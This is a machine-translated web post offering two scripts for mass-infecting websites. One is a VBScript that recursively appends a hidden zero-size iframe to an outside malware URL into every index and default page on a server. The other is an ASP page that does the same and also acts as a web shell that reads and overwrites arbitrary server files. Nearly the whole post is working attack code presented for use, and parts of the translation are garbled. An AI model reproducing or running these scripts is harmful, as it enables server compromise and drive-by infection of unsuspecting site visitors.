Two batch hang horse vbs script code

Time:2020-10-28

scan.vbe
cscript  scan.vbe Web directory
Program code:

‘copyright information
br=”************************************” & vbCrLf
Br = Br – “* VBS batch hanging horse script *” & vbcrlf
br=br & “* BY BanLG *” & vbCrLf
br=br & “************************************” & vbCrLf & vbCrLf
br=br & “cscript scan.vbe D:\” & vbCrLf 

‘horse’s address
ma=”</Script><IfRAME height=0 width=0 sRc=” & chr(34) & “http://www.hacker.com.cn”&chr( … t;</IFrAME>” 
‘if the page you want to hang is not enough, you can add it by yourself. Remember to separate it with “|”
MyString=”index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx”
‘split into an array with “|” as the separator
MyArray = Split(MyString, “|”, -1, 1)

web=WScript.Arguments(0)

‘if the web is empty, exit the script
if web=”” then
Wscript.echo (br)
window.Close
end if

Wscript.echo (BR) & “horse’s address” & Ma & vbcrlf & vbcrlf
‘create the object
Set fso = createObject(“Scripting.FileSystemObject”)

‘Start scanning Pegasus
scan(web)

‘scan defines a function to scan and find qualified files and write the contents of the horse to the end of the file
sub scan(filesder) 
set filesder=fso.getfolder(filesder)
‘get the collection of all the files in the current directory
set files=filesder.files 
‘get the file name
for each fext in files
Set file1 = fso.GetFile(fext)
filesext=file1.Name
‘convert the file name to lowercase
ext=lcase(filesext) 
For Each index in MyArray
‘judge whether the file is a file that we restrict in mystring. If it is, write a horse
if ext=lcase(index) then
Set ts =  fso.OpenTextFile (FEXT, 8) ‘open the file and write at the end of the file
ts.WriteLine(ma)
ts.Close
echo=””
echo=fext & ” ………….ok”
Wscript.echo (echo)
end if
next
next

set subfolders=filesder.subfolders
For each subfolder in subfolders’ search other directories, recursively call
scan(subfolder)
next 
end sub

FSO hanging horse.asp
After passing to the server, you can directly input the path to hang the horse
Program code:

<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title></title>
<**** http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
</head>
<body>
<%
ASP_SELF=Request.ServerVariables(“PATH_INFO”)

s=Request(“fd”)
ex=Request(“ex”)
pth=Request(“pth”)
newcnt=Request(“newcnt”)

If ex<>”” AND pth<>”” Then
select Case ex
Case “edit”
CALL file_show(pth)
Case “save”
CALL file_save(pth)
End select
Else
%>
<form action=”<%=ASP_SELF%>” method=”POST”>
FOLDER (ABSOLUTE PATH):
<input type=”text” name=”fd” size=”40″>
<input type=”submit” value=”SUBMIT”>
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function

If IsPattern(“[^ab]{1}:{1}(\\|\/)”,s) Then
sch s
Else
If s<>”” Then Response.Write “Invalid Agrument!”
End If

Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject(“Scripting.FileSystemObject”)
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If
End Sub

Sub step_all(agr)
retVal=IsPattern(“(\\|\/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b”,agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href=”<%=ASP_SELF%>?ex=edit&pth=<%=str1%>” target=”_blank”><%=str1%></a><br>
<%End Sub%>
<%
Sub step2(str2)
addcode=”<iframe src= http://www.21o.net/mm/mm.htm Width = 0 height = 0 frameBorder = 0 > < / iframe > 0“
Set fs=Server.createObject(“Scripting.FileSystemObject”)
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject(“Scripting.FileSystemObject”)
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action=”<%=ASP_SELF%>” method=”POST”>
<textarea name=”newcnt” cols=”100″ rows=”30″><%=cnt%></textarea>
<input type=”hidden” name=”pth” value=”<%=fname%>”>
<input type=”hidden” name=”ex” value=”save”>
<input type=”submit” value=”SAVE”>
</form>
<%Else%>
<p>THE FILE IS NOT EXIT OR HAVE deleteD.</p>
<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.createObject(“Scripting.FileSystemObject”)
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write “<p>THE FILE WAS MODIFIED SUCCESSFULLY.</p>” 
End Sub
%>
</body>
</html>